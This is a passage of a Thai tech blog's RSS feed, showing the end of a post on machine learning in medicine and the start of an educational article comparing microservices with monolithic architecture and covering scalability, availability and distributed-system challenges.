&#xE17;&#xE33;&#xE19;&#xE32;&#xE22;&#xE04;&#xE27;&#xE32;&#xE21;&#xE01;&#xE49;&#xE32;&#xE27;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE02;&#xE2D;&#xE07;&#xE42;&#xE23;&#xE04;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE42;&#xE2D;&#xE01;&#xE32;&#xE2A;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE15;&#xE2D;&#xE1A;&#xE2A;&#xE19;&#xE2D;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE32;&#xE23;&#xE23;&#xE31;&#xE01;&#xE29;&#xE32;</li><li><strong>&#xE01;&#xE32;&#xE23;&#xE04;&#xE49;&#xE19;&#xE2B;&#xE32;&#xE1B;&#xE31;&#xE08;&#xE08;&#xE31;&#xE22;&#xE40;&#xE2A;&#xE35;&#xE48;&#xE22;&#xE07;</strong> &#xE43;&#xE0A;&#xE49; Feature Importance &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE23;&#xE30;&#xE1A;&#xE38;&#xE1B;&#xE31;&#xE08;&#xE08;&#xE31;&#xE22;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE1C;&#xE25;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE32;&#xE23;&#xE40;&#xE01;&#xE34;&#xE14;&#xE42;&#xE23;&#xE04;&#xE21;&#xE32;&#xE01;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE38;&#xE14;</li><li><strong>&#xE01;&#xE32;&#xE23;&#xE41;&#xE22;&#xE01;&#xE1B;&#xE23;&#xE30;&#xE40;&#xE20;&#xE17;&#xE20;&#xE32;&#xE1E;&#xE17;&#xE32;&#xE07;&#xE01;&#xE32;&#xE23;&#xE41;&#xE1E;&#xE17;&#xE22;&#xE4C;</strong> &#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE27;&#xE34;&#xE40;&#xE04;&#xE23;&#xE32;&#xE30;&#xE2B;&#xE4C;&#xE20;&#xE32;&#xE1E; X-ray, MRI, &#xE2B;&#xE23;&#xE37;&#xE2D; CT scan &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2B;&#xE32;&#xE04;&#xE27;&#xE32;&#xE21;&#xE1C;&#xE34;&#xE14;&#xE1B;&#xE01;&#xE15;&#xE34;</li></ol><blockquote><strong><a href="https://blog.pjjop.org/one-hot-encoding-vs-label-encoding/">One-Hot Encoding vs Label Encoding</a> (&#xE42;&#xE1A;&#xE19;&#xE31;&#xE2A;)</strong></blockquote>]]></content:encoded></item><item><title><![CDATA[Microservices Architecture: Concepts, Design, and Best Practices]]></title><description><![CDATA[<figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/07/tempImageWP5uF9.gif" class="kg-image" alt loading="lazy" width="2000" height="1429" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/tempImageWP5uF9.gif 600w, https://blog.pjjop.org/content/images/size/w1000/2024/07/tempImageWP5uF9.gif 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/07/tempImageWP5uF9.gif 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/07/tempImageWP5uF9.gif 2400w" sizes="(min-width: 720px) 720px"></figure><p><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE1A;&#xE17;&#xE04;&#xE27;&#xE32;&#xE21;&#xE42;&#xE14;&#xE22; </em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE1C;&#xE28;.<em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE14;&#xE23;.&#xE13;&#xE31;&#xE10;&#xE42;&#xE0A;&#xE15;&#xE34; &#xE1E;&#xE23;&#xE2B;&#xE21;&#xE24;&#xE17;&#xE18;&#xE34;&#xE4C;</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em> &#xE41;&#xE25;&#xE30; <em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE2D;.&#xE14;&#xE23;.</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE2A;&#xE31;&#xE08;&#xE08;&#xE32;&#xE20;&#xE23;&#xE13;&#xE4C; &#xE44;&#xE27;&#xE08;&#xE23;&#xE23;&#xE22;</em></p>]]></description><link>https://blog.pjjop.org/microservices-architecture-concepts-design-and-best-practices/</link><guid isPermaLink="false">6692475d0325e40001ebf4a6</guid><dc:creator><![CDATA[Nuttachot Promrit]]></dc:creator><pubDate>Sat, 31 Aug 2024 06:29:55 GMT</pubDate><content:encoded><![CDATA[<figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/07/tempImageWP5uF9.gif" class="kg-image" alt loading="lazy" width="2000" height="1429" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/tempImageWP5uF9.gif 600w, https://blog.pjjop.org/content/images/size/w1000/2024/07/tempImageWP5uF9.gif 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/07/tempImageWP5uF9.gif 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/07/tempImageWP5uF9.gif 2400w" sizes="(min-width: 720px) 720px"></figure><p><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE1A;&#xE17;&#xE04;&#xE27;&#xE32;&#xE21;&#xE42;&#xE14;&#xE22; </em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE1C;&#xE28;.<em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE14;&#xE23;.&#xE13;&#xE31;&#xE10;&#xE42;&#xE0A;&#xE15;&#xE34; &#xE1E;&#xE23;&#xE2B;&#xE21;&#xE24;&#xE17;&#xE18;&#xE34;&#xE4C;</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em> &#xE41;&#xE25;&#xE30; <em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE2D;.&#xE14;&#xE23;.</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE2A;&#xE31;&#xE08;&#xE08;&#xE32;&#xE20;&#xE23;&#xE13;&#xE4C; &#xE44;&#xE27;&#xE08;&#xE23;&#xE23;&#xE22;&#xE32;</em><br><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><a href="https://www.cp.su.ac.th/?ref=blog.pjjop.org">&#xE20;&#xE32;&#xE04;&#xE27;&#xE34;&#xE0A;&#xE32;&#xE04;&#xE2D;&#xE21;&#xE1E;&#xE34;&#xE27;&#xE40;&#xE15;&#xE2D;&#xE23;&#xE4C;</a></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em><br><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE04;&#xE13;&#xE30;&#xE27;&#xE34;&#xE17;&#xE22;&#xE32;&#xE28;&#xE32;&#xE2A;&#xE15;&#xE23;&#xE4C;</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em><br><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE21;&#xE2B;&#xE32;&#xE27;&#xE34;&#xE17;&#xE22;&#xE32;&#xE25;&#xE31;&#xE22;&#xE28;&#xE34;&#xE25;&#xE1B;&#xE32;&#xE01;&#xE23;</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></p><!--kg-card-begin: html--><hr>
<div align="center"><a href="https://creativecommons.org/licenses/by-nc-nd/4.0/?ref=blog.pjjop.org">This Article on Microservices Architecture: Concepts, Design, and Best Practices, licensed under CC BY-NC-ND</a>
</div>
<hr><!--kg-card-end: html--><p>&#xE43;&#xE19;&#xE22;&#xE38;&#xE04;&#xE14;&#xE34;&#xE08;&#xE34;&#xE17;&#xE31;&#xE25;&#xE1B;&#xE31;&#xE08;&#xE08;&#xE38;&#xE1A;&#xE31;&#xE19; &#xE23;&#xE30;&#xE1A;&#xE1A; Software &#xE15;&#xE49;&#xE2D;&#xE07;&#xE23;&#xE2D;&#xE07;&#xE23;&#xE31;&#xE1A;&#xE04;&#xE27;&#xE32;&#xE21;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE17;&#xE35;&#xE48;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE23;&#xE27;&#xE14;&#xE40;&#xE23;&#xE47;&#xE27; &#xE17;&#xE31;&#xE49;&#xE07;&#xE1B;&#xE23;&#xE34;&#xE21;&#xE32;&#xE13;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE17;&#xE35;&#xE48;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE02;&#xE36;&#xE49;&#xE19; &#xE41;&#xE25;&#xE30;&#xE04;&#xE27;&#xE32;&#xE21;&#xE0B;&#xE31;&#xE1A;&#xE0B;&#xE49;&#xE2D;&#xE19;&#xE02;&#xE2D;&#xE07;&#xE01;&#xE23;&#xE30;&#xE1A;&#xE27;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE32;&#xE07;&#xE18;&#xE38;&#xE23;&#xE01;&#xE34;&#xE08; &#xE2A;&#xE16;&#xE32;&#xE1B;&#xE31;&#xE15;&#xE22;&#xE01;&#xE23;&#xE23;&#xE21;&#xE41;&#xE1A;&#xE1A; Monolithic &#xE0B;&#xE36;&#xE48;&#xE07;&#xE23;&#xE27;&#xE21;&#xE17;&#xE38;&#xE01; Function &#xE44;&#xE27;&#xE49;&#xE43;&#xE19;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE40;&#xE14;&#xE35;&#xE22;&#xE27;&#xE2D;&#xE32;&#xE08;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE21;&#xE35;&#xE02;&#xE49;&#xE2D;&#xE08;&#xE33;&#xE01;&#xE31;&#xE14;&#xE14;&#xE49;&#xE32;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE31;&#xE1A;&#xE02;&#xE19;&#xE32;&#xE14; &#xE01;&#xE32;&#xE23;&#xE14;&#xE39;&#xE41;&#xE25;&#xE23;&#xE31;&#xE01;&#xE29;&#xE32;</p><p>Microservices Architecture &#xE40;&#xE1B;&#xE47;&#xE19;&#xE41;&#xE19;&#xE27;&#xE17;&#xE32;&#xE07;&#xE2B;&#xE19;&#xE36;&#xE48;&#xE07;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE2D;&#xE01;&#xE41;&#xE1A;&#xE1A;&#xE23;&#xE30;&#xE1A;&#xE1A; &#xE42;&#xE14;&#xE22;&#xE21;&#xE35;&#xE40;&#xE1B;&#xE49;&#xE32;&#xE2B;&#xE21;&#xE32;&#xE22;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE41;&#xE22;&#xE01;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE2D;&#xE2D;&#xE01;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE22;&#xE48;&#xE2D;&#xE22;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE23;&#xE31;&#xE1A;&#xE1C;&#xE34;&#xE14;&#xE0A;&#xE2D;&#xE1A;&#xE0A;&#xE31;&#xE14;&#xE40;&#xE08;&#xE19;</p><p>&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE44;&#xE23;&#xE01;&#xE47;&#xE15;&#xE32;&#xE21; &#xE01;&#xE32;&#xE23;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE43;&#xE0A;&#xE49; Microservices &#xE08;&#xE33;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE1E;&#xE34;&#xE08;&#xE32;&#xE23;&#xE13;&#xE32;&#xE43;&#xE19;&#xE40;&#xE0A;&#xE34;&#xE07;&#xE27;&#xE34;&#xE28;&#xE27;&#xE01;&#xE23;&#xE23;&#xE21;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE23;&#xE2D;&#xE1A;&#xE14;&#xE49;&#xE32;&#xE19; &#xE40;&#xE19;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE08;&#xE32;&#xE01;&#xE2A;&#xE16;&#xE32;&#xE1B;&#xE31;&#xE15;&#xE22;&#xE01;&#xE23;&#xE23;&#xE21;&#xE41;&#xE1A;&#xE1A;&#xE01;&#xE23;&#xE30;&#xE08;&#xE32;&#xE22;&#xE21;&#xE32;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE01;&#xE31;&#xE1A;&#xE15;&#xE49;&#xE19;&#xE17;&#xE38;&#xE19;&#xE41;&#xE25;&#xE30;&#xE04;&#xE27;&#xE32;&#xE21;&#xE0B;&#xE31;&#xE1A;&#xE0B;&#xE49;&#xE2D;&#xE19;&#xE17;&#xE35;&#xE48;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE02;&#xE36;&#xE49;&#xE19;</p><p>&#xE1A;&#xE17;&#xE04;&#xE27;&#xE32;&#xE21;&#xE19;&#xE35;&#xE49;&#xE21;&#xE35;&#xE27;&#xE31;&#xE15;&#xE16;&#xE38;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE07;&#xE04;&#xE4C;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE2D;&#xE18;&#xE34;&#xE1A;&#xE32;&#xE22;&#xE41;&#xE19;&#xE27;&#xE04;&#xE34;&#xE14; Microservices &#xE40;&#xE1B;&#xE23;&#xE35;&#xE22;&#xE1A;&#xE40;&#xE17;&#xE35;&#xE22;&#xE1A;&#xE01;&#xE31;&#xE1A; Monolithic Architecture &#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE42;&#xE22;&#xE07;&#xE01;&#xE31;&#xE1A;&#xE2B;&#xE25;&#xE31;&#xE01;&#xE01;&#xE32;&#xE23; 12-Factor App &#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A; Frontend &#xE41;&#xE1A;&#xE1A; SPA/MPA &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE2D;&#xE01;&#xE41;&#xE1A;&#xE1A; REST API &#xE42;&#xE14;&#xE22;&#xE40;&#xE19;&#xE49;&#xE19;&#xE17;&#xE31;&#xE49;&#xE07;&#xE21;&#xE38;&#xE21;&#xE21;&#xE2D;&#xE07;&#xE40;&#xE0A;&#xE34;&#xE07;&#xE41;&#xE19;&#xE27;&#xE04;&#xE34;&#xE14;&#xE41;&#xE25;&#xE30;&#xE02;&#xE49;&#xE2D;&#xE1E;&#xE34;&#xE08;&#xE32;&#xE23;&#xE13;&#xE32;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE08;&#xE23;&#xE34;&#xE07;</p><h2 id="%E0%B9%81%E0%B8%99%E0%B8%A7%E0%B8%84%E0%B8%B4%E0%B8%94%E0%B8%82%E0%B8%AD%E0%B8%87-microservices">&#xE41;&#xE19;&#xE27;&#xE04;&#xE34;&#xE14;&#xE02;&#xE2D;&#xE07; Microservices</h2><p>Microservices Architecture &#xE40;&#xE1B;&#xE47;&#xE19;&#xE41;&#xE19;&#xE27;&#xE17;&#xE32;&#xE07;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; Software &#xE42;&#xE14;&#xE22;&#xE41;&#xE1A;&#xE48;&#xE07;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE2D;&#xE2D;&#xE01;&#xE40;&#xE1B;&#xE47;&#xE19; Service &#xE02;&#xE19;&#xE32;&#xE14;&#xE40;&#xE25;&#xE47;&#xE01; &#xE41;&#xE15;&#xE48;&#xE25;&#xE30; Service &#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE23;&#xE31;&#xE1A;&#xE1C;&#xE34;&#xE14;&#xE0A;&#xE2D;&#xE1A;&#xE15;&#xE32;&#xE21;&#xE02;&#xE2D;&#xE1A;&#xE40;&#xE02;&#xE15;&#xE02;&#xE2D;&#xE07;&#xE18;&#xE38;&#xE23;&#xE01;&#xE34;&#xE08; (Bounded Context) &#xE0B;&#xE36;&#xE48;&#xE07;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; &#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; &#xE41;&#xE25;&#xE30; Deploy &#xE44;&#xE14;&#xE49;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE2D;&#xE34;&#xE2A;&#xE23;&#xE30; &#xE42;&#xE14;&#xE22; Service &#xE40;&#xE2B;&#xE25;&#xE48;&#xE32;&#xE19;&#xE35;&#xE49;&#xE2A;&#xE37;&#xE48;&#xE2D;&#xE2A;&#xE32;&#xE23;&#xE01;&#xE31;&#xE19;&#xE1C;&#xE48;&#xE32;&#xE19; API &#xE41;&#xE25;&#xE30;&#xE40;&#xE04;&#xE23;&#xE37;&#xE2D;&#xE02;&#xE48;&#xE32;&#xE22;</p><p>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE1B;&#xE23;&#xE35;&#xE22;&#xE1A;&#xE40;&#xE17;&#xE35;&#xE22;&#xE1A;&#xE01;&#xE31;&#xE1A; Monolithic Architecture &#xE0B;&#xE36;&#xE48;&#xE07;&#xE17;&#xE38;&#xE01;&#xE2D;&#xE07;&#xE04;&#xE4C;&#xE1B;&#xE23;&#xE30;&#xE01;&#xE2D;&#xE1A;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE20;&#xE32;&#xE22;&#xE43;&#xE19; Process &#xE2B;&#xE23;&#xE37;&#xE2D; Deployment &#xE40;&#xE14;&#xE35;&#xE22;&#xE27; Microservices &#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49;&#xE17;&#xE35;&#xE21;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE02;&#xE2D;&#xE07;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE41;&#xE1A;&#xE1A;&#xE02;&#xE19;&#xE32;&#xE19; &#xE41;&#xE25;&#xE30;&#xE1B;&#xE23;&#xE31;&#xE1A;&#xE02;&#xE19;&#xE32;&#xE14;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE17;&#xE35;&#xE48;&#xE08;&#xE33;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE44;&#xE14;&#xE49; &#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE44;&#xE23;&#xE01;&#xE47;&#xE15;&#xE32;&#xE21; &#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE44;&#xE1B;&#xE2A;&#xE39;&#xE48; Microservices &#xE04;&#xE37;&#xE2D;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE08;&#xE32;&#xE01;&#xE04;&#xE27;&#xE32;&#xE21;&#xE0B;&#xE31;&#xE1A;&#xE0B;&#xE49;&#xE2D;&#xE19;&#xE20;&#xE32;&#xE22;&#xE43;&#xE19;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE40;&#xE14;&#xE35;&#xE22;&#xE27; &#xE44;&#xE1B;&#xE2A;&#xE39;&#xE48;&#xE04;&#xE27;&#xE32;&#xE21;&#xE0B;&#xE31;&#xE1A;&#xE0B;&#xE49;&#xE2D;&#xE19;&#xE02;&#xE2D;&#xE07;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE41;&#xE1A;&#xE1A;&#xE01;&#xE23;&#xE30;&#xE08;&#xE32;&#xE22; (Distributed System)</p><p>&#xE43;&#xE19;&#xE40;&#xE0A;&#xE34;&#xE07;&#xE27;&#xE34;&#xE28;&#xE27;&#xE01;&#xE23;&#xE23;&#xE21; &#xE04;&#xE27;&#xE32;&#xE21;&#xE0B;&#xE31;&#xE1A;&#xE0B;&#xE49;&#xE2D;&#xE19;&#xE17;&#xE35;&#xE48;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE02;&#xE36;&#xE49;&#xE19;&#xE2D;&#xE32;&#xE08;&#xE23;&#xE27;&#xE21;&#xE16;&#xE36;&#xE07;</p><ul><li>&#xE04;&#xE27;&#xE32;&#xE21;&#xE2B;&#xE19;&#xE48;&#xE27;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE40;&#xE04;&#xE23;&#xE37;&#xE2D;&#xE02;&#xE48;&#xE32;&#xE22; (Network Latency)</li><li>&#xE04;&#xE27;&#xE32;&#xE21;&#xE25;&#xE49;&#xE21;&#xE40;&#xE2B;&#xE25;&#xE27;&#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE34;&#xE14;&#xE02;&#xE36;&#xE49;&#xE19;&#xE44;&#xE14;&#xE49;&#xE1A;&#xE32;&#xE07;&#xE2A;&#xE48;&#xE27;&#xE19; (Partial Failure)</li><li>&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE2D;&#xE14;&#xE04;&#xE25;&#xE49;&#xE2D;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; (Data Consistency)</li><li>&#xE04;&#xE27;&#xE32;&#xE21;&#xE22;&#xE32;&#xE01;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE15;&#xE34;&#xE14;&#xE15;&#xE32;&#xE21;&#xE1B;&#xE31;&#xE0D;&#xE2B;&#xE32; (Observability)</li></ul><p>&#xE43;&#xE19;&#xE17;&#xE32;&#xE07;&#xE1B;&#xE0F;&#xE34;&#xE1A;&#xE31;&#xE15;&#xE34; &#xE23;&#xE30;&#xE1A;&#xE1A;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE21;&#xE32;&#xE01;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE15;&#xE49;&#xE19;&#xE14;&#xE49;&#xE27;&#xE22; Modular Monolith &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19; Monolithic Architecture &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE41;&#xE1A;&#xE48;&#xE07;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE20;&#xE32;&#xE22;&#xE43;&#xE19;&#xE0A;&#xE31;&#xE14;&#xE40;&#xE08;&#xE19; &#xE41;&#xE25;&#xE30;&#xE04;&#xE48;&#xE2D;&#xE22;&#xE41;&#xE22;&#xE01;&#xE2D;&#xE2D;&#xE01;&#xE40;&#xE1B;&#xE47;&#xE19; Microservices &#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE23;&#xE30;&#xE1A;&#xE1A; &#xE17;&#xE35;&#xE21; &#xE41;&#xE25;&#xE30;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE10;&#xE32;&#xE19;&#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE21;&#xE32;&#xE01;&#xE02;&#xE36;&#xE49;&#xE19;</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/09/micro.png" class="kg-image" alt loading="lazy" width="2000" height="820" srcset="https://blog.pjjop.org/content/images/size/w600/2024/09/micro.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/09/micro.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/09/micro.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/09/micro.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>&#xE01;&#xE32;&#xE23;&#xE41;&#xE1A;&#xE48;&#xE07; Function &#xE2D;&#xE2D;&#xE01;&#xE40;&#xE1B;&#xE47;&#xE19; Service &#xE02;&#xE19;&#xE32;&#xE14;&#xE40;&#xE25;&#xE47;&#xE01; &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE31;&#xE1A;&#xE02;&#xE19;&#xE32;&#xE14;&#xE44;&#xE14;&#xE49; (Scalability) &#xE14;&#xE49;&#xE27;&#xE22;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE0B;&#xE49;&#xE33; Service &#xE2B;&#xE23;&#xE37;&#xE2D; Instance &#xE0B;&#xE36;&#xE48;&#xE07;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16; Scale &#xE44;&#xE14;&#xE49;&#xE08;&#xE30;&#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE23;&#xE31;&#xE1A; Load &#xE44;&#xE14;&#xE49;&#xE21;&#xE32;&#xE01;&#xE02;&#xE36;&#xE49;&#xE19; &#xE19;&#xE2D;&#xE01;&#xE08;&#xE32;&#xE01;&#xE19;&#xE35;&#xE49;&#xE22;&#xE31;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE04;&#xE27;&#xE32;&#xE21;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; (Availability) &#xE02;&#xE2D;&#xE07;&#xE23;&#xE30;&#xE1A;&#xE1A; &#xE08;&#xE32;&#xE01;&#xE01;&#xE32;&#xE23;&#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE0B;&#xE49;&#xE33;&#xE0B;&#xE49;&#xE2D;&#xE19;&#xE01;&#xE31;&#xE19;&#xE02;&#xE2D;&#xE07; Instance (Redundancy) 